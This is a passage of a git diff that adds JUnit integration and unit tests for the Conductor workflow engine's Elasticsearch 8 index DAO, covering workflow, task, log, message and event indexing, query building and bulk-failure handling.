    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.util.ArrayList; +import java.util.List; + +import org.apache.http.HttpHost; +import org.conductoross.conductor.es8.config.ElasticSearchProperties; +import org.elasticsearch.client.RestClient; +import org.junit.After; +import org.junit.Test; +import org.springframework.retry.support.RetryTemplate; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.sun.net.httpserver.HttpServer; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class ElasticSearchRestDAOV8ResourceExistenceTest { + + private HttpServer server; + private ElasticSearchRestDAOV8 dao; + + @After + public void tearDown() throws Exception { + if (dao != null) { + var shutdown = ElasticSearchRestDAOV8.class.getDeclaredMethod("shutdown"); + shutdown.setAccessible(true); + shutdown.invoke(dao); + } + if (server != null) { + server.stop(0); + } + } + + @Test + public void headMissingReturnsFalse() throws Exception { + List methods = new ArrayList<>(); + startServer( + exchange -> { + methods.add(exchange.getRequestMethod()); + exchange.sendResponseHeaders(404, -1); + exchange.close(); + }); + + dao = newDao(server.getAddress().getPort()); + + assertFalse(dao.doesResourceExist("/_alias/conductor")); + assertEquals(List.of("HEAD"), methods); + } + + @Test + public void headMethodNotAllowedFallsBackToGetAndTreats404AsMissing() throws Exception { + List methods = new ArrayList<>(); + startServer( + exchange -> { + methods.add(exchange.getRequestMethod()); + if ("HEAD".equals(exchange.getRequestMethod())) { + exchange.sendResponseHeaders(405, -1); + exchange.close(); + return; + } + exchange.sendResponseHeaders(404, -1); + exchange.close(); + }); + + dao = newDao(server.getAddress().getPort()); + + assertFalse(dao.doesResourceExist("/_alias/conductor")); + assertEquals(List.of("HEAD", "GET"), methods); + } + + @Test + public void headSuccessReturnsTrue() throws Exception { + List methods = new ArrayList<>(); + startServer( + exchange -> { + methods.add(exchange.getRequestMethod()); + exchange.sendResponseHeaders(200, -1); + exchange.close(); + }); + + dao = newDao(server.getAddress().getPort()); + + assertTrue(dao.doesResourceExist("/_alias/conductor")); + assertEquals(List.of("HEAD"), methods); + } + + @Test + public void getTaskExecutionLogsReturnsEmptyListOnSearchFailure() throws Exception { + startServer( + exchange -> { + exchange.sendResponseHeaders(500, -1); + exchange.close(); + }); + dao = newDao(server.getAddress().getPort()); + + assertTrue(dao.getTaskExecutionLogs("task-id").isEmpty()); + } + + @Test + public void getMessagesReturnsEmptyListOnSearchFailure() throws Exception { + startServer( + exchange -> { + exchange.sendResponseHeaders(500, -1); + exchange.close(); + }); + dao = newDao(server.getAddress().getPort()); + + assertTrue(dao.getMessages("queue").isEmpty()); + } + + @Test + public void getEventExecutionsReturnsEmptyListOnSearchFailure() throws Exception { + startServer( + exchange -> { + exchange.sendResponseHeaders(500, -1); + exchange.close(); + }); + dao = newDao(server.getAddress().getPort()); + + assertTrue(dao.getEventExecutions("event").isEmpty()); + } + + private void startServer(com.sun.net.httpserver.HttpHandler handler) throws IOException { + server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", handler); + server.start(); + } + + private ElasticSearchRestDAOV8 newDao(int port) { + ElasticSearchProperties properties = new ElasticSearchProperties(); + properties.setUrl("http://127.0.0.1:" + port); + properties.setIndexPrefix("conductor"); + + return new ElasticSearchRestDAOV8( + RestClient.builder(new HttpHost("127.0.0.1", port, "http")), + new RetryTemplate(), + properties, + new ObjectMapper()); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDaoBaseTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDaoBaseTest.java new file mode 100644 index 0000000..072fc38 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchRestDaoBaseTest.java @@ -0,0 +1,78 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.Reader; +import java.time.Duration; + +import org.apache.http.HttpHost; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.elasticsearch.client.RestClient; +import org.elasticsearch.client.RestClientBuilder; +import org.junit.After; +import org.junit.Before; +import org.springframework.retry.support.RetryTemplate; + +public abstract class ElasticSearchRestDaoBaseTest extends ElasticSearchTest { + + protected RestClient restClient; + protected ElasticSearchRestDAOV8 indexDAO; + + @Before + public void setup() throws Exception { + String httpHostAddress = container.getHttpHostAddress(); + String host = httpHostAddress.split(":")[0]; + int port = Integer.parseInt(httpHostAddress.split(":")[1]); + + properties.setUrl("http://" + httpHostAddress); + // Keep integration tests deterministic with near-immediate visibility in search. + properties.setIndexRefreshInterval(Duration.ofMillis(100)); + properties.setWaitForIndexRefresh(true); + + RestClientBuilder restClientBuilder = RestClient.builder(new HttpHost(host, port, "http")); + restClient = restClientBuilder.build(); + + indexDAO = + new ElasticSearchRestDAOV8( + restClientBuilder, new RetryTemplate(), properties, objectMapper); + indexDAO.setup(); + } + + @After + public void tearDown() throws Exception { + deleteAllIndices(); + + if (restClient != null) { + restClient.close(); + } + } + + private void deleteAllIndices() throws IOException { + Response beforeResponse = restClient.performRequest(new Request("GET", "/_cat/indices")); + + Reader streamReader = new InputStreamReader(beforeResponse.getEntity().getContent()); + BufferedReader bufferedReader = new BufferedReader(streamReader); + + String line; + while ((line = bufferedReader.readLine()) != null) { + String[] fields = line.split("\\s"); + String endpoint = String.format("/%s", fields[2]); + + restClient.performRequest(new Request("DELETE", endpoint)); + } + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchTest.java new file mode 100644 index 0000000..bb7eb3e --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/ElasticSearchTest.java @@ -0,0 +1,74 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import org.conductoross.conductor.es8.config.ElasticSearchProperties; +import org.junit.AfterClass; +import org.junit.Assume; +import org.junit.BeforeClass; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; +import org.testcontainers.DockerClientFactory; +import org.testcontainers.elasticsearch.ElasticsearchContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@ContextConfiguration( + classes = {TestObjectMapperConfiguration.class, ElasticSearchTest.TestConfiguration.class}) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = {"conductor.indexing.enabled=true", "conductor.indexing.type=elasticsearch8"}) +public abstract class ElasticSearchTest { + + @Configuration + static class TestConfiguration { + + @Bean + public ElasticSearchProperties elasticSearchProperties() { + return new ElasticSearchProperties(); + } + } + + protected static final ElasticsearchContainer container = + new ElasticsearchContainer(DockerImageName.parse("elasticsearch").withTag("8.19.11")) + .withEnv("xpack.security.enabled", "false") + .withEnv("discovery.type", "single-node") + .withEnv("ES_JAVA_OPTS", "-Xms512m -Xmx512m"); + + @Autowired protected ObjectMapper objectMapper; + + @Autowired protected ElasticSearchProperties properties; + + @BeforeClass + public static void startServer() { + try { + DockerClientFactory.instance().client(); + } catch (Throwable t) { + Assume.assumeNoException("Docker environment not usable for Testcontainers", t); + } + container.start(); + } + + @AfterClass + public static void stopServer() { + container.stop(); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupportTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupportTest.java new file mode 100644 index 0000000..b49d6e5 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8BulkIngestionSupportTest.java @@ -0,0 +1,80 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.util.List; +import java.util.Map; + +import org.junit.Test; + +import co.elastic.clients.elasticsearch._types.ErrorCause; +import co.elastic.clients.elasticsearch.core.BulkRequest; +import co.elastic.clients.elasticsearch.core.BulkResponse; +import co.elastic.clients.elasticsearch.core.bulk.BulkOperation; +import co.elastic.clients.elasticsearch.core.bulk.BulkResponseItem; +import co.elastic.clients.elasticsearch.core.bulk.OperationType; + +import static org.junit.Assert.assertEquals; + +public class Es8BulkIngestionSupportTest { + + @Test + public void collectFailedOperationsReturnsOnlyFailedItems() { + BulkOperation op1 = + BulkOperation.of( + op -> + op.index( + i -> + i.index("conductor_task") + .id("task-1") + .document(Map.of()))); + BulkOperation op2 = + BulkOperation.of( + op -> + op.index( + i -> + i.index("conductor_task") + .id("task-2") + .document(Map.of()))); + + BulkRequest request = BulkRequest.of(b -> b.operations(op1, op2)); + + BulkResponseItem successItem = + BulkResponseItem.of( + i -> + i.operationType(OperationType.Index) + .index("conductor_task") + .id("task-1") + .status(201)); + BulkResponseItem failedItem = + BulkResponseItem.of( + i -> + i.operationType(OperationType.Index) + .index("conductor_task") + .id("task-2") + .status(400) + .error( + ErrorCause.of( + e -> + e.type("mapper_parsing_exception") + .reason("bad doc")))); + BulkResponse response = + BulkResponse.of(b -> b.errors(true).items(successItem, failedItem).took(1L)); + + List failedOperations = + Es8BulkIngestionSupport.collectFailedOperations(request, response); + + assertEquals(1, failedOperations.size()); + assertEquals("task-2", failedOperations.getFirst().index().id()); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupportTest.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupportTest.java new file mode 100644 index 0000000..8e79979 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/Es8SearchSupportTest.java @@ -0,0 +1,88 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.util.List; + +import org.junit.Test; + +import co.elastic.clients.elasticsearch._types.FieldValue; +import co.elastic.clients.elasticsearch._types.query_dsl.Query; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +public class Es8SearchSupportTest { + + private final Es8SearchSupport support = new Es8SearchSupport(null, "conductor"); + + @Test + public void wildcardFreeTextUsesStructuredQueryOnly() throws Exception { + Query query = support.boolQueryBuilder("status='RUNNING'", "*"); + + assertTrue(query.isTerm()); + assertEquals("status", query.term().field()); + assertEquals("RUNNING", query.term().value().stringValue()); + } + + @Test + public void blankFreeTextAndNoStructuredQueryReturnsMatchAll() throws Exception { + Query query = support.boolQueryBuilder("", " "); + + assertTrue(query.isMatchAll()); + } + + @Test + public void unquotedValueWithENotParsedAsDouble() throws Exception { + // Regression: workflow names like "1E234" or "12E34" were incorrectly parsed as doubles, + // causing terms queries on keyword fields to return 0 results. + Query query = support.boolQueryBuilder("workflowType IN (1E234)", "*"); + + assertTrue(query.isTerms()); + List values = query.terms().terms().value(); + assertEquals(1, values.size()); + assertTrue(values.get(0).isString()); + assertEquals("1E234", values.get(0).stringValue()); + } + + @Test + public void doubleQuotedStructuredQueryUsesTermQuery() throws Exception { + String uuid = "09d13af8-3a2a-48bf-a91d-ef0a9114f07a"; + Query query = support.boolQueryBuilder("workflowId=\"" + uuid + "\"", "*"); + + assertTrue(query.isTerm()); + assertEquals("workflowId", query.term().field()); + assertEquals(uuid, query.term().value().stringValue()); + } + + @Test + public void andConditionStructuredQueryUsesBoolMustQuery() throws Exception { + Query query = + support.boolQueryBuilder( + "correlationId='corr-abc' AND workflowType='MyWorkflow'", "*"); + + assertTrue(query.isBool()); + assertEquals(2, query.bool().must().size()); + assertTrue(query.bool().must().stream().anyMatch(Query::isTerm)); + } + + @Test + public void explicitFreeTextAddsSimpleQueryStringClause() throws Exception { + Query query = support.boolQueryBuilder("status='RUNNING'", "workflowId:abc"); + + assertTrue(query.isBool()); + assertEquals(2, query.bool().must().size()); + assertTrue(query.bool().must().stream().anyMatch(Query::isSimpleQueryString)); + assertTrue(query.bool().must().stream().anyMatch(Query::isTerm)); + } +} diff --git a/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8.java b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8.java new file mode 100644 index 0000000..1e65751 --- /dev/null +++ b/es8-persistence/src/test/java/org/conductoross/conductor/es8/dao/index/TestElasticSearchRestDAOV8.java @@ -0,0 +1,607 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.es8.dao.index; + +import java.io.IOException; +import java.io.InputStream; +import java.text.SimpleDateFormat; +import java.time.Duration; +import java.time.Instant; +import java.util.*; +import java.util.function.Supplier; + +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.es8.utils.TestUtils; +import org.elasticsearch.client.Request; +import org.elasticsearch.client.Response; +import org.junit.Test; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.events.queue.Message; + +import com.fasterxml.jackson.databind.JsonNode; +import com.google.common.collect.ImmutableMap; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +public class TestElasticSearchRestDAOV8 extends ElasticSearchRestDaoBaseTest { + + private static final String WORKFLOW_DOC_TYPE = "workflow"; + private static final String TASK_DOC_TYPE = "task"; + private static final String MSG_DOC_TYPE = "message"; + private static final String EVENT_DOC_TYPE = "event"; + private static final String LOG_DOC_TYPE = "task_log"; + + private String indexName(String documentType) { + String prefix = properties.getIndexPrefix(); + if (StringUtils.isBlank(prefix)) { + return documentType; + } + if (prefix.endsWith("_")) { + return prefix + documentType; + } + return prefix + "_" + documentType; + } + + private String resourceName(String baseName) { + String prefix = + StringUtils.stripEnd(StringUtils.trimToNull(properties.getIndexPrefix()), "_-"); + if (StringUtils.isBlank(prefix)) { + return baseName; + } + return prefix + "-" + baseName; + } + + private boolean indexExists(final String index) throws IOException { + return indexDAO.doesResourceExist("/" + index); + } + + private boolean doesMappingExist(final String index, final String mappingName) + throws IOException { + return indexDAO.doesResourceExist("/" + index + "/_mapping/" + mappingName); + } + + @Test + public void assertInitialSetup() throws IOException { + String workflowAlias = indexName(WORKFLOW_DOC_TYPE); + String taskAlias = indexName(TASK_DOC_TYPE); + String logAlias = indexName(LOG_DOC_TYPE); + String messageAlias = indexName(MSG_DOC_TYPE); + String eventAlias = indexName(EVENT_DOC_TYPE); + + String workflowIndex = workflowAlias + "-000001"; + String taskIndex = taskAlias + "-000001"; + String logIndex = logAlias + "-000001"; + String messageIndex = messageAlias + "-000001"; + String eventIndex = eventAlias + "-000001"; + + assertTrue("Workflow index should exist", indexExists(workflowIndex)); + assertTrue("Task index should exist", indexExists(taskIndex)); + assertTrue("Task log index should exist", indexExists(logIndex)); + assertTrue("Message index should exist", indexExists(messageIndex)); + assertTrue("Event index should exist", indexExists(eventIndex)); + + assertTrue( + "Alias for workflow should exist", + indexDAO.doesResourceExist("/_alias/" + workflowAlias)); + assertTrue( + "Alias for task should exist", indexDAO.doesResourceExist("/_alias/" + taskAlias)); + assertTrue( + "Alias for task_log should exist", + indexDAO.doesResourceExist("/_alias/" + logAlias)); + assertTrue( + "Alias for message should exist", + indexDAO.doesResourceExist("/_alias/" + messageAlias)); + assertTrue( + "Alias for event should exist", + indexDAO.doesResourceExist("/_alias/" + eventAlias)); + + assertTrue( + "Index template for 'message' should exist", + indexDAO.doesResourceExist( + "/_index_template/" + resourceName("template_" + MSG_DOC_TYPE))); + assertTrue( + "Index template for 'event' should exist", + indexDAO.doesResourceExist( + "/_index_template/" + resourceName("template_" + EVENT_DOC_TYPE))); + assertTrue( + "Index template for 'task_log' should exist", + indexDAO.doesResourceExist( + "/_index_template/" + resourceName("template_" + LOG_DOC_TYPE))); + } + + @Test + public void shouldConfigureRolloverAliasWithoutTemplateAlias() throws Exception { + String workflowAlias = indexName(WORKFLOW_DOC_TYPE); + String workflowTemplate = resourceName("template_" + WORKFLOW_DOC_TYPE); + + Response templateResponse = + restClient.performRequest( + new Request("GET", "/_index_template/" + workflowTemplate)); + JsonNode templateJson; + try (InputStream content = templateResponse.getEntity().getContent()) { + templateJson = objectMapper.readTree(content); + } + + JsonNode indexTemplate = + templateJson.path("index_templates").get(0).path("index_template").path("template"); + assertEquals( + workflowAlias, + indexTemplate + .path("settings") + .path("index") + .path("lifecycle") + .path("rollover_alias") + .asText()); + assertFalse( + "Composable template must not declare the rollover alias under template.aliases", + indexTemplate.has("aliases")); + + Response aliasResponse = + restClient.performRequest(new Request("GET", "/_alias/" + workflowAlias)); + JsonNode aliasJson; + try (InputStream content = aliasResponse.getEntity().getContent()) { + aliasJson = objectMapper.readTree(content); + } + + JsonNode bootstrapAlias = aliasJson.path(workflowAlias + "-000001").path("aliases"); + assertTrue( + "Bootstrap write index should retain the write alias", + bootstrapAlias.has(workflowAlias)); + assertTrue( + "Bootstrap write index should be marked as the write index", + bootstrapAlias.path(workflowAlias).path("is_write_index").asBoolean(false)); + } + + @Test + public void shouldIndexWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexWorkflowAsync() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.asyncIndexWorkflow(workflowSummary).get(); + + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldRemoveWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.removeWorkflow(workflowSummary.getWorkflowId()); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldAsyncRemoveWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + List workflows = + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + assertEquals(1, workflows.size()); + + indexDAO.asyncRemoveWorkflow(workflowSummary.getWorkflowId()).get(); + + workflows = tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 0); + + assertTrue("Workflow was not removed.", workflows.isEmpty()); + } + + @Test + public void shouldUpdateWorkflow() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.updateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.COMPLETED}); + + workflowSummary.setStatus(WorkflowStatus.COMPLETED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldAsyncUpdateWorkflow() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + indexDAO.asyncUpdateWorkflow( + workflowSummary.getWorkflowId(), + new String[] {"status"}, + new Object[] {WorkflowStatus.FAILED}) + .get(); + + workflowSummary.setStatus(WorkflowStatus.FAILED); + assertWorkflowSummary(workflowSummary.getWorkflowId(), workflowSummary); + } + + @Test + public void shouldIndexTask() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldIndexTaskAsync() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.asyncIndexTask(taskSummary).get(); + + List tasks = tryFindResults(() -> searchTasks(taskSummary)); + + assertEquals(taskSummary.getTaskId(), tasks.get(0)); + } + + @Test + public void shouldRemoveTask() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldAsyncRemoveTask() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotRemoveTaskWhenNotAssociatedWithWorkflow() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask("InvalidWorkflow", taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotAsyncRemoveTaskWhenNotAssociatedWithWorkflow() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask("InvalidWorkflow", taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldAddTaskExecutionLogs() { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.addTaskExecutionLogs(logs); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddTaskExecutionLogsAsync() throws Exception { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.asyncAddTaskExecutionLogs(logs).get(); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddMessage() { + String queue = "queue"; + Message message1 = new Message(uuid(), "payload1", null); + Message message2 = new Message(uuid(), "payload2", null); + + indexDAO.addMessage(queue, message1); + indexDAO.addMessage(queue, message2); + + List indexedMessages = tryFindResults(() -> indexDAO.getMessages(queue), 2); + + assertEquals(2, indexedMessages.size()); + + assertTrue( + "Not all messages was indexed", + indexedMessages.containsAll(Arrays.asList(message1, message2))); + } + + @Test + public void shouldAddEventExecution() { + String event = "event"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.addEventExecution(execution1); + indexDAO.addEventExecution(execution2); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAsyncAddEventExecution() throws Exception { + String event = "event2"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.asyncAddEventExecution(execution1).get(); + indexDAO.asyncAddEventExecution(execution2).get(); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldCreateIlmPolicy() throws Exception { + assertTrue( + "ILM policy should exist", + indexDAO.doesResourceExist("/_ilm/policy/" + resourceName("default-ilm-policy"))); + } + + @Test + public void shouldSearchRecentRunningWorkflows() throws Exception { + WorkflowSummary oldWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + oldWorkflow.setStatus(WorkflowStatus.RUNNING); + oldWorkflow.setUpdateTime( + getFormattedTime(Date.from(Instant.now().minus(Duration.ofHours(2))))); + + WorkflowSummary recentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + recentWorkflow.setStatus(WorkflowStatus.RUNNING); + recentWorkflow.setUpdateTime( + getFormattedTime(Date.from(Instant.now().minus(Duration.ofHours(1))))); + + WorkflowSummary tooRecentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + tooRecentWorkflow.setStatus(WorkflowStatus.RUNNING); + tooRecentWorkflow.setUpdateTime(getFormattedTime(Date.from(Instant.now()))); + + indexDAO.indexWorkflow(oldWorkflow); + indexDAO.indexWorkflow(recentWorkflow); + indexDAO.indexWorkflow(tooRecentWorkflow); + + Thread.sleep(1000); + + List ids = indexDAO.searchRecentRunningWorkflows(2, 1); + + assertEquals(1, ids.size()); + assertEquals(recentWorkflow.getWorkflowId(), ids.get(0)); + } + + @Test + public void shouldCountWorkflows() { + int counts = 1100; + for (int i = 0; i < counts; i++) { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + } + + // wait for workflow to be indexed + long result = tryGetCount(() -> getWorkflowCount("template_workflow", "RUNNING"), counts); + assertEquals(counts, result); + } + + private long tryGetCount(Supplier countFunction, int resultsCount) { + long result = 0; + for (int i = 0; i < 20; i++) { + result = countFunction.get(); + if (result == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + // Get total workflow counts given the name and 